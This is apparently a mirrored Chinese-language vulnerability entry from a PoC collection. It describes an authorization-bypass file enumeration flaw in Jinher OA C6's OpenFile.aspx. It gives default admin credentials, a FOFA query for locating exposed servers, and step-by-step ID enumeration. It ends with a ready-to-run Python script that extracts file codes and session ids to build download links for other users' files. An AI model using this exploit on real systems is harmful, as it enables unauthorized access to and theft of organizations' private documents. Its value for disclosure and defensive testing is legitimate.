mirror of
https://github.com/Threekiii/Awesome-POC.git
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145 lines
5.6 KiB
Markdown
145 lines
5.6 KiB
Markdown
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# 金和OA C6 OpenFile.aspx 后台越权敏感文件遍历漏洞
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## 漏洞描述
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金和OA C6 存在后台越权敏感文件遍历漏洞，普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件
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## 漏洞影响
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```
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金和OA C6
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```
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## FOFA
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```
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app="Jinher-OA"
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```
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## 漏洞复现
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默认用户口令：admin/000000
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登录后点击信息交流，发起协同页面
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上传附件并上传发送给目标
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- 这里登录权限为管理员，我们自己发给自己就好，前文只是展现漏洞挖掘思路过程
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成功收到上传的附件
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点击查看时抓包，发现一个带有文件ID的请求包
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返回了几个参数
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```plain
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var strFilePath = '../Resource/slaves/1/8b473ecb-7b39-4384-ada2-b0ec72c4f6ed.png';
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var strFileType = 'png';
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var strSid='3jvpvhs410m2wdbbficax5q5';
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var strFileIDCode='us9w7xWE7do=';
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var strId = '1229';
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var strTxtReg = 'txt,ini,xml,config,htm,html,js,css,asp,aspx,jsp,cs,sql,inf,htc,log';
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var strImgReg = 'jpg,gif,jpeg,png,ico';
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var MD = '';
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```
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其中我们注意到 strFilePath 为文件的存储地址，我们更改 id参数为另一个值，且测试后发现 name文件名参数无关紧要
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更改ID后发送请求包发现获得另一个文件的信息
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访问Url，注意 **type参数** 需要为正确的文件后缀才可以访问
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```plain
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http://xxx.xxx.xxx.xxx/C6/control/OpenFile.aspx?id=1200&name=&type=pdf
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```
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这里更换一个普通用户测试是否可行，尝试遍历 id
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存在 **strFilePath参数** 则是存在文件，为空则是文件已经不存在
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同时抓包下载文件页面也可以看到可获取的参数
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**FileID 与 FileIDCode**
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于是只需要通过刚刚的ID遍历，获取两个关键参数就能下载其他人发送的敏感文件，且只需要普通用户权限
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## 漏洞POC
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- POC只检测是否存在漏洞，且漏洞存在于后台需要登录
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- 运行后访问链接即可下载文件
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```python
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import requests
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import sys
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import random
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import re
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import base64
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import time
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from requests.packages.urllib3.exceptions import InsecureRequestWarning
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def title():
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print('+------------------------------------------')
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print('+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m')
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print('+ \033[34mGithub : https://github.com/PeiQi0 \033[0m')
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print('+ \033[34m公众号 : PeiQi文库 \033[0m')
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print('+ \033[34mVersion: 金和OA C6 \033[0m')
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print('+ \033[36m使用格式: python3 poc.py \033[0m')
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print('+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m')
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print('+------------------------------------------')
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def POC_1(target_url, file_id, cookie):
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vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
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headers = {
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"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
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"Content-Type": "application/x-www-form-urlencoded",
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"Cookie":cookie
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}
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try:
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requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
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response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
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print("\033[36m[o] 正在请求 Url: {}\033[0m".format(vuln_url))
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if "strFilePath =" in response.text and response.status_code == 200:
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strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0]
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strFileType = strFilePath[-3:]
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strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0]
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strId = re.findall(r"var strId = '(.*?)';", response.text)[0]
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sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0]
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if strFilePath != "":
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print("\033[36m[o] 目标 {} 存在漏洞, 获取文件信息:\n[o] 文件路径：{}\n[o] 文件类型：{}\n[o] 文件ID code：{}\n[o] 文件编号： {}\033[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
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print("\033[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
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else:
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print("\033[31m[x] 目标 {} 文件不存在 \033[0m".format(target_url))
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else:
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print("\033[31m[x] 目标 {} 不存在漏洞 \033[0m".format(target_url))
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except Exception as e:
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print("\033[31m[x] 请求失败 \033[0m", e)
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if __name__ == '__main__':
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title()
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target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
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file_id = str(input("\033[35mFile_id >>> \033[0m"))
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cookie = str(input("\033[35mCookie >>> \033[0m"))
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POC_1(target_url, file_id, cookie)
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```
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